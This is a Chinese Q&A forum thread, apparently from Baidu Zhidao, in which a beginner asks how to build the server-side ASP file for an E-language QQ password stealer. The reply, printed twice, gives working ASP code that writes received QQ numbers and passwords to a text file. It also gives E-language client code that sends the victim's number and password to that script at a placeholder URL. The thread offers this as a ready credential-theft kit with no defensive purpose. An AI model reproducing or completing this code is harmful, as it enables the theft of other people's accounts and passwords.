如何做易语言的asp文件
我是新手想做下那个易语言的盗Qq.我不知道怎么去做那个asp文件,用什么做?有什麽关键步骤?是否要建表。希望有大侠能详细的解说建ASP文件的步骤与上传。由于现在分少满意的...
我是新手 想做下那个易语言的盗 Q q.我不知道怎么去做那个asp文件,用什么做?有什麽关键步骤?是否要建表。希望有大侠能详细的解说建ASP文件的步骤与上传。由于现在分少 满意的我会加
展开
2个回答
展开全部
QQ.ASP内容如下:
<%
StrLogFile="QQ.txt"
FRT=Request("FRT")
SCD=Request("SCD")
If FRT="" Or SCD="" Then
Response.Write "QQ"
Response.End
End If
StrLogText=StrLogText& FRT& SCD
Set Lzwudi=Server.CreateObject("Scripting.FileSystemObject")
Set Lenovo=Lzwudi.OpenTextFile(Server.MapPath(".")&"\"&StrLogFile,8,True,0)
Lenovo.WriteLine(CHR(13)+CHR(10)&StrLogText)
Lenovo.Close
Set Lenovo=Nothing
Set Lzwudi=Nothing
Response.Write "OK!"
%>
把QQ.ASP文件上传到FTP上去。
ASP收信E源码:
.子程序 ASP, 文本型
.参数 地址, 文本型
.参数 NUM, 文本型
.参数 PWD, 文本型
返回 (到文本 (HTTP读文件 (地址 + “?” + “FRT=” + NUM + “&SCD=” + PWD)))
ASP (“http://www.xxx.com/qq.asp”, 编辑框1.内容, 编辑框2.内容)
上面的“http://www.xxx.com/qq.asp”为你上传后的QQ.ASP文件地址
编辑框1.内容为发送的QQ号码
编辑框2.内容为发送的QQ密码
<%
StrLogFile="QQ.txt"
FRT=Request("FRT")
SCD=Request("SCD")
If FRT="" Or SCD="" Then
Response.Write "QQ"
Response.End
End If
StrLogText=StrLogText& FRT& SCD
Set Lzwudi=Server.CreateObject("Scripting.FileSystemObject")
Set Lenovo=Lzwudi.OpenTextFile(Server.MapPath(".")&"\"&StrLogFile,8,True,0)
Lenovo.WriteLine(CHR(13)+CHR(10)&StrLogText)
Lenovo.Close
Set Lenovo=Nothing
Set Lzwudi=Nothing
Response.Write "OK!"
%>
把QQ.ASP文件上传到FTP上去。
ASP收信E源码:
.子程序 ASP, 文本型
.参数 地址, 文本型
.参数 NUM, 文本型
.参数 PWD, 文本型
返回 (到文本 (HTTP读文件 (地址 + “?” + “FRT=” + NUM + “&SCD=” + PWD)))
ASP (“http://www.xxx.com/qq.asp”, 编辑框1.内容, 编辑框2.内容)
上面的“http://www.xxx.com/qq.asp”为你上传后的QQ.ASP文件地址
编辑框1.内容为发送的QQ号码
编辑框2.内容为发送的QQ密码
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询